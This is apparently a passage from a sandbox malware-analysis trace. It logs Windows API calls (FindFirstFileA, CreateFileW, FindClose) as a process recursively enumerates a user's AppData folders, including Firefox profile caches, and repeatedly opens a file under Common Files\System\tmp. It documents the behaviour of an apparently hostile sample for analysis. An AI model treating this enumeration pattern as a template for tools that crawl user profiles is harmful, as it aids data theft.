ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.769] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.769] GetLastError () returned 0x12 [0131.769] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.769] GetLastError () returned 0x12 [0131.769] AreFileApisANSI () returned 1 [0131.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.769] GetFileType (hFile=0x194) returned 0x1 [0131.769] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.769] AreFileApisANSI () returned 1 [0131.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.769] GetFileType (hFile=0x198) returned 0x1 [0131.770] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.770] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.770] GetLastError () returned 0x12 [0131.770] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.770] GetLastError () returned 0x12 [0131.770] AreFileApisANSI () returned 1 [0131.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.770] GetFileType (hFile=0x194) returned 0x1 [0131.770] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.770] AreFileApisANSI () returned 1 [0131.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.771] GetFileType (hFile=0x198) returned 0x1 [0131.771] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.771] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.771] GetLastError () returned 0x12 [0131.771] AreFileApisANSI () returned 1 [0131.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.771] GetFileType (hFile=0x198) returned 0x1 [0131.771] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.772] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.772] GetLastError () returned 0x12 [0131.772] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.772] GetLastError () returned 0x12 [0131.772] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0131.772] GetLastError () returned 0x12 [0131.772] AreFileApisANSI () returned 1 [0131.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0131.772] GetFileType (hFile=0x190) returned 0x1 [0131.773] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbecfd400, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbecfd400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0131.773] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0131.773] GetLastError () returned 0x12 [0131.773] AreFileApisANSI () returned 1 [0131.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0131.773] GetFileType (hFile=0x190) returned 0x1 [0131.773] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0131.774] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0131.775] GetLastError () returned 0x12 [0131.775] AreFileApisANSI () returned 1 [0131.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0131.775] GetFileType (hFile=0x190) returned 0x1 [0131.775] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0131.775] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0131.775] GetLastError () returned 0x12 [0131.775] AreFileApisANSI () returned 1 [0131.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0131.776] GetFileType (hFile=0x190) returned 0x1 [0131.776] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0131.777] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0131.777] GetLastError () returned 0x12 [0131.777] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0131.777] GetLastError () returned 0x12 [0131.777] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0131.778] GetLastError () returned 0x12 [0131.778] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.778] GetLastError () returned 0x12 [0131.778] AreFileApisANSI () returned 1 [0131.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.778] GetFileType (hFile=0x184) returned 0x1 [0131.778] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.778] AreFileApisANSI () returned 1 [0131.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0131.779] GetFileType (hFile=0x188) returned 0x1 [0131.779] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0131.779] AreFileApisANSI () returned 1 [0131.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0131.779] GetFileType (hFile=0x18c) returned 0x1 [0131.779] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb74b7b30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb74b7b30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x30, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0131.779] AreFileApisANSI () returned 1 [0131.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0131.780] GetFileType (hFile=0x190) returned 0x1 [0131.780] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0131.780] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0131.780] GetLastError () returned 0x12 [0131.780] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0131.780] GetLastError () returned 0x12 [0131.780] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0131.780] GetLastError () returned 0x12 [0131.780] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.780] GetLastError () returned 0x12 [0131.780] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0131.780] GetLastError () returned 0x12 [0131.780] AreFileApisANSI () returned 1 [0131.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0131.781] GetFileType (hFile=0x180) returned 0x1 [0131.781] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0131.781] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0131.781] GetLastError () returned 0x12 [0131.781] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0131.781] GetLastError () returned 0x12 [0131.781] AreFileApisANSI () returned 1 [0131.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0131.781] GetFileType (hFile=0x17c) returned 0x1 [0131.781] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0131.782] AreFileApisANSI () returned 1 [0131.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0131.782] GetFileType (hFile=0x180) returned 0x1 [0131.782] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0131.782] AreFileApisANSI () returned 1 [0131.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.782] GetFileType (hFile=0x184) returned 0x1 [0131.782] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.783] AreFileApisANSI () returned 1 [0131.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0131.783] GetFileType (hFile=0x188) returned 0x1 [0131.783] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000, dwReserved1=0x8878e8, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0131.783] AreFileApisANSI () returned 1 